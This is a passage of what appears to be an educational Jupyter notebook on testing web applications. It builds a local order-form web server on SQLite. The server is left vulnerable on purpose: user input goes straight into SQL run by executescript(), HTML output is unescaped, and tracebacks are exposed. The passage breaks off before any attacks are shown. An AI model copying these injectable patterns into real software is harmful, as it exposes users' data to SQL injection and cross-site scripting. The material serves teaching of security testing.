{ "cells": [ { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "slide" } }, "source": [ "# Testing Web Applications\n", "\n", "In this chapter, we explore how to generate tests for Graphical User Interfaces (GUIs), notably on Web interfaces. We set up a (vulnerable) Web server and demonstrate how to systematically explore its behavior – first with hand-written grammars, then with grammars automatically inferred from the user interface. We also show how to conduct systematic attacks on these servers, notably with code and SQL injection." ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" } }, "source": [ "**Prerequisites**\n", "\n", "* The techniques in this chapter make use of [grammars for fuzzing](Grammars.ipynb).\n", "* Basic knowledge of HTML and HTTP is required.\n", "* Knowledge of SQL databases is helpful." ] }, { "cell_type": "markdown", "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" }, "toc-hr-collapsed": false }, "source": [ "## A Web User Interface\n", "\n", "Let us start with a simple example. We want to set up a _Web server_ that allows readers of this book to buy fuzzingbook-branded fan articles. In reality, we would make use of an existing Web shop (or an appropriate framework) for this purpose. For the purpose of this book, we _write our own Web server_, building on the HTTP server facilities provided by the Python library." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "All of our Web server is defined in a `HTTPRequestHandler`, which, as the name suggests, handles arbitrary Web page requests." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from http.server import HTTPServer, BaseHTTPRequestHandler, HTTPStatus" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):\n", " pass" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Taking Orders\n", "\n", "For our Web server, we need a number of Web pages:\n", "* We want one page where customers can place an order.\n", "* We want one page where they see their order confirmed. \n", "* Additionally, we need pages display error messages such as \"Page Not Found\"." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We start with the order form. The dictionary `FUZZINGBOOK_SWAG` holds the items that customers can order, together with long descriptions:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import fuzzingbook_utils" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "FUZZINGBOOK_SWAG = {\n", " \"tshirt\": \"One FuzzingBook T-Shirt\",\n", " \"drill\": \"One FuzzingBook Rotary Hammer\",\n", " \"lockset\": \"One FuzzingBook Lock Set\"\n", "}" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "This is the HTML code for the order form. The menu for selecting the swag to be ordered is created dynamically from `FUZZINGBOOK_SWAG`. We omit plenty of details such as precise shipping address, payment, shopping cart, and more." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML_ORDER_FORM = \"\"\"\n", "\n", "
\n", " Fuzzingbook Swag Order Form\n", "

\n", " Yes! Please send me at your earliest convenience\n", " \n", "
\n", " \n", " \n", " \n", "
\n", " \n", " \n", "
\n", "
\n", " \n", " \n", " \n", "
\n", " .
\n", " \n", "

\n", "
\n", "\n", "\"\"\"" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "This is what the order form looks like:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from IPython.display import display\n", "from fuzzingbook_utils import HTML" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(HTML_ORDER_FORM)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "This form is not yet functional, as there is no server behind it; pressing \"place order\" will lead you to a nonexistent page." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" }, "toc-hr-collapsed": false }, "source": [ "### Order Confirmation\n", "\n", "Once we have gotten an order, we show a confirmation page, which is instantiated with the customer information submitted before. Here is the HTML and the rendering:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML_ORDER_RECEIVED = \"\"\"\n", "\n", "
\n", " Thank you for your Fuzzingbook Order!\n", "

\n", " We will send {item_name} to {name} in {city}, {zip}
\n", " A confirmation mail will be sent to {email}.\n", "

\n", "

\n", " Want more swag? Use our order form!\n", "

\n", "
\n", "\n", "\"\"\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML(HTML_ORDER_RECEIVED.format(item_name=\"One FuzzingBook Rotary Hammer\",\n", " name=\"Jane Doe\",\n", " email=\"doe@example.com\",\n", " city=\"Seattle\",\n", " zip=\"98104\"))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Terms and Conditions\n", "\n", "A Web site can only be complete if it has the necessary legalese. This page shows some terms and conditions." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML_TERMS_AND_CONDITIONS = \"\"\"\n", "\n", "
\n", " Fuzzingbook Terms and Conditions\n", "

\n", " The content of this project is licensed under the\n", " Creative Commons\n", " Attribution-NonCommercial-ShareAlike 4.0 International License.\n", "

\n", "

\n", " To place an order, use our order form.\n", "

\n", "
\n", "\n", "\"\"\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML(HTML_TERMS_AND_CONDITIONS)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Storing Orders" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "To store orders, we make use of a *database*, stored in the file `orders.db`." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import sqlite3\n", "import os" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "ORDERS_DB = \"orders.db\"" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "To interact with the database, we use *SQL commands*. The following commands create a table with five text columns for item, name, email, city, and zip – the exact same fields we also use in our HTML form." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "def init_db():\n", " if os.path.exists(ORDERS_DB):\n", " os.remove(ORDERS_DB)\n", "\n", " db_connection = sqlite3.connect(ORDERS_DB)\n", " db_connection.execute(\"DROP TABLE IF EXISTS orders\")\n", " db_connection.execute(\"CREATE TABLE orders (item text, name text, email text, city text, zip text)\")\n", " db_connection.commit()\n", "\n", " return db_connection" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "db = init_db()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "At this point, the database is still empty:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "We can add entries using the SQL `INSERT` command:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "db.execute(\"INSERT INTO orders \" +\n", " \"VALUES ('lockset', 'Walter White', 'white@jpwynne.edu', 'Albuquerque', '87101')\")\n", "db.commit()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "These values are now in the database:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We can also delete entries from the table again (say, after completion of the order):" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "db.execute(\"DELETE FROM orders WHERE name = 'Walter White'\")\n", "db.commit()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Handling HTTP Requests\n", "\n", "We have an order form and a database; now we need a Web server which brings it all together. The Python `http.server` module provides everything we need to build a simple HTTP server. A `HTTPRequestHandler` is an object that takes and processes HTTP requests – in particular, `GET` requests for retrieving Web pages." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We implement the `do_GET()` method that, based on the given path, branches off to serve the requested Web pages. Requesting the path `/` produces the order form; a path beginning with `/order` sends an order to be processed. All other requests end in a `Page Not Found` message." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):\n", " def do_GET(self):\n", " try:\n", " # print(\"GET \" + self.path)\n", " if self.path == \"/\":\n", " self.send_order_form()\n", " elif self.path.startswith(\"/order\"):\n", " self.handle_order()\n", " elif self.path.startswith(\"/terms\"):\n", " self.send_terms_and_conditions()\n", " else:\n", " self.not_found()\n", " except Exception:\n", " self.internal_server_error()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Order Form\n", "\n", "Accessing the home page (i.e. getting the page at `/`) is simple: We go and serve the `html_order_form` as defined above." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def send_order_form(self):\n", " self.send_response(HTTPStatus.OK, \"Place your order\")\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()\n", " self.wfile.write(HTML_ORDER_FORM.encode(\"utf8\"))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Likewise, we can send out the terms and conditions:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def send_terms_and_conditions(self):\n", " self.send_response(HTTPStatus.OK, \"Terms and Conditions\")\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()\n", " self.wfile.write(HTML_TERMS_AND_CONDITIONS.encode(\"utf8\"))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Processing Orders" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "When the user clicks `Submit` on the order form, the Web browser creates and retrieves a URL of the form\n", "\n", "```\n", "/order?field_1=value_1&field_2=value_2&field_3=value_3\n", "```\n", "\n", "where each `field_i` is the name of the field in the HTML form, and `value_i` is the value provided by the user. Values use the CGI encoding we have seen in the [chapter on coverage](Coverage.ipynb) – that is, spaces are converted into `+`, and characters that are not digits or letters are converted into `%nn`, where `nn` is the hexadecimal value of the character.\n", "\n", "If Jane Doe from Seattle orders a T-Shirts, this is the URL the browser creates:\n", "\n", "```\n", "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104\n", "```" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "When processing a query, the attribute `self.path` of the HTTP request handler holds the path accessed – i.e., everything after ``. The helper method `get_field_values()` takes `self.path` and returns a dictionary of values." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import urllib.parse" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def get_field_values(self):\n", " # Note: this fails to decode non-ASCII characters properly\n", " query_string = urllib.parse.urlparse(self.path).query\n", "\n", " # fields is { 'item': ['tshirt'], 'name': ['Jane Doe'], ...}\n", " fields = urllib.parse.parse_qs(query_string, keep_blank_values=True)\n", "\n", " values = {}\n", " for key in fields:\n", " values[key] = fields[key][0]\n", "\n", " return values" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The method `handle_order()` takes these values from the URL, stores the order, and returns a page confirming the order. If anything goes wrong, it sends an internal server error." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def handle_order(self):\n", " values = self.get_field_values()\n", " self.store_order(values)\n", " self.send_order_received(values)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Storing the order makes use of the database connection defined above; we create a SQL command instantiated with the values as extracted from the URL." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def store_order(self, values):\n", " db = sqlite3.connect(ORDERS_DB)\n", " # The following should be one line\n", " sql_command = \"INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')\".format(**values)\n", " self.log_message(\"%s\", sql_command)\n", " db.executescript(sql_command)\n", " db.commit()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "After storing the order, we send the confirmation HTML page, which again is instantiated with the values from the URL." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def send_order_received(self, values):\n", " # Should use html.escape()\n", " values[\"item_name\"] = FUZZINGBOOK_SWAG[values[\"item\"]]\n", " confirmation = HTML_ORDER_RECEIVED.format(**values).encode(\"utf8\")\n", "\n", " self.send_response(HTTPStatus.OK, \"Order received\")\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()\n", " self.wfile.write(confirmation)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Other HTTP commands\n", "\n", "Besides the `GET` command (which does all the heavy lifting), HTTP servers can also support other HTTP commands; we support the `HEAD` command, which returns the head information of a Web page. In our case, this is always empty." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def do_HEAD(self):\n", " # print(\"HEAD \" + self.path)\n", " self.send_response(HTTPStatus.OK)\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Error Handling\n", "\n", "We have defined pages for submitting and processing orders; now we also need a few pages for errors that might occur." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Page Not Found\n", "\n", "This page is displayed if a non-existing page (i.e. anything except `/` or `/order`) is requested." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML_NOT_FOUND = \"\"\"\n", "\n", "
\n", " Sorry.\n", "

\n", " This page does not exist. Try our order form instead.\n", "

\n", "
\n", "\n", " \"\"\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML(HTML_NOT_FOUND)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "The method `not_found()` takes care of sending this out with the appropriate HTTP status code." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def not_found(self):\n", " self.send_response(HTTPStatus.NOT_FOUND, \"Not found\")\n", "\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()\n", "\n", " message = HTML_NOT_FOUND\n", " self.wfile.write(message.encode(\"utf8\"))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Internal Errors\n", "\n", "This page is shown for any internal errors that might occur. For diagnostic purposes, we have it include the traceback of the failing function." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML_INTERNAL_SERVER_ERROR = \"\"\"\n", "\n", "
\n", " Internal Server Error\n", "

\n", " The server has encountered an internal error. Go to our order form.\n", "

{error_message}
\n", "

\n", "
\n", "\n", " \"\"\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(HTML_INTERNAL_SERVER_ERROR)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import sys\n", "import traceback" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def internal_server_error(self):\n", " self.send_response(HTTPStatus.INTERNAL_SERVER_ERROR, \"Internal Error\")\n", "\n", " self.send_header(\"Content-type\", \"text/html\")\n", " self.end_headers()\n", "\n", " exc = traceback.format_exc()\n", " self.log_message(\"%s\", exc.strip())\n", "\n", " message = HTML_INTERNAL_SERVER_ERROR.format(error_message=exc)\n", " self.wfile.write(message.encode(\"utf8\"))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Logging\n", "\n", "Our server runs as a separate process in the background, waiting to receive commands at all time. To see what it is doing, we implement a special logging mechanism. The `httpd_message_queue` establishes a queue into which one process (the server) can store Python objects, and in which another process (the notebook) can retrieve them. We use this to pass log messages from the server, whcih we can than display in the notebook." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from multiprocessing import Queue" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTTPD_MESSAGE_QUEUE = Queue()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let us place two messages in the queue:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTTPD_MESSAGE_QUEUE.put(\"I am another message\")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTTPD_MESSAGE_QUEUE.put(\"I am one more message\")" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "To distinguish server messages from other parts of the notebook, we format them specially:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from fuzzingbook_utils import rich_output, terminal_escape" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "def display_httpd_message(message):\n", " if rich_output():\n", " display(\n", " HTML(\n", " '
' +\n",
    "                message +\n",
    "                \"
\"))\n", " else:\n", " print(terminal_escape(message))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "display_httpd_message(\"I am a httpd server message\")" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "The method `print_httpd_messages()` prints all messages accumulated in the queue so far:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "def print_httpd_messages():\n", " while not HTTPD_MESSAGE_QUEUE.empty():\n", " message = HTTPD_MESSAGE_QUEUE.get()\n", " display_httpd_message(message)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import time" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "time.sleep(1)\n", "print_httpd_messages()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "With `clear_httpd_messages()`, we can silently discard all pending messages:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "def clear_httpd_messages():\n", " while not HTTPD_MESSAGE_QUEUE.empty():\n", " HTTPD_MESSAGE_QUEUE.get()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "The method `log_message()` in the request handler makes use of the queue to store its messages:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):\n", " def log_message(self, format, *args):\n", " message = (\"%s - - [%s] %s\\n\" %\n", " (self.address_string(),\n", " self.log_date_time_string(),\n", " format % args))\n", " HTTPD_MESSAGE_QUEUE.put(message)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "In [the chapter on carving](Carver.ipynb), we had introduced a `webbrowser()` method which retrieves the contents of the given URL. We now extend it such that it also prints out any log messages produced by the server:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import requests" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "def webbrowser(url, mute=False):\n", " \"\"\"Download the http/https resource given by the URL\"\"\"\n", " try:\n", " r = requests.get(url)\n", " contents = r.text\n", " finally:\n", " if not mute:\n", " print_httpd_messages()\n", " else:\n", " clear_httpd_messages()\n", "\n", " return contents" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Running the Server\n", "\n", "After all these definitions, we are now ready to get the Web server up and running. We run the server on the *local host* – that is, the same machine which also runs this notebook. We check for an accessible port and put the resulting URL in the queue created earlier." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "button": false, "new_sheet": false, "run_control": { "read_only": false }, "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "def run_httpd_forever(handler_class):\n", " host = \"127.0.0.1\" # localhost IP\n", " for port in range(8800, 9000):\n", " httpd_address = (host, port)\n", "\n", " try:\n", " httpd = HTTPServer(httpd_address, handler_class)\n", " break\n", " except OSError:\n", " continue\n", "\n", " httpd_url = \"http://\" + host + \":\" + repr(port)\n", " HTTPD_MESSAGE_QUEUE.put(httpd_url)\n", " httpd.serve_forever()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The function `start_httpd()` starts the server in a separate process, which we start using the `multiprocessing` module. It retrieves its URL from the message queue and returns it, such that we can start talking to the server." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from multiprocessing import Process" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "def start_httpd(handler_class=SimpleHTTPRequestHandler):\n", " clear_httpd_messages()\n", "\n", " httpd_process = Process(target=run_httpd_forever, args=(handler_class,))\n", " httpd_process.start()\n", "\n", " httpd_url = HTTPD_MESSAGE_QUEUE.get()\n", " return httpd_process, httpd_url" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let us now start the server and save its URL:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "httpd_process, httpd_url = start_httpd()\n", "httpd_url" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Interacting with the Server\n", "\n", "Let us now access the server just created." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Direct Browser Access\n", "\n", "If you are running the Jupyter notebook server on the local host as well, you can now access the server directly at the given URL. Simply open the address in `httpd_url` by clicking on the link below.\n", "\n", "**Note**: This only works if you are running the Jupyter notebook server on the local host." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "def print_url(url):\n", " if rich_output():\n", " display(HTML('
%s
' % (url, url)))\n", " else:\n", " print(terminal_escape(url))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "print_url(httpd_url)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Even more convenient, you may be able to interact directly with the server using the window below. \n", "\n", "**Note**: This only works if you are running the Jupyter notebook server on the local host." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML('')" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "After interaction, you can retrieve the messages produced by the server:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print_httpd_messages()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We can also see any orders placed in the database:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "And we can clear the order database:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "db.execute(\"DELETE FROM orders\")\n", "db.commit()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Retrieving the Home Page\n", "\n", "Even if our browser cannot directly interact with the server, the _notebook_ can. We can, for instance, retrieve the contents of the home page and display them:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "contents = webbrowser(httpd_url)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(contents)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Placing Orders\n", "\n", "To test this form, we can generate URLs with orders and have the server process them." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "The method `urljoin()` puts together a base URL (i.e., the URL of our server) and a path – say, the path towards our order." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from urllib.parse import urljoin, urlsplit" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "urljoin(httpd_url, \"/order?foo=bar\")" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "With `urljoin()`, we can create a full URL that is the same as the one generated by the browser as we submit the order form. Sending this URL to the browser effectively places the order, as we can see in the server log produced:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "contents = webbrowser(urljoin(httpd_url,\n", " \"/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104\"))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "The web page returned confirms the order:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(contents)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "And the order is in the database, too:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "#### Error Messages\n", "\n", "We can also test whether the server correctly responds to invalid requests. Nonexistent pages, for instance, are correctly handled:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(webbrowser(urljoin(httpd_url, \"/some/other/path\")))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "You may 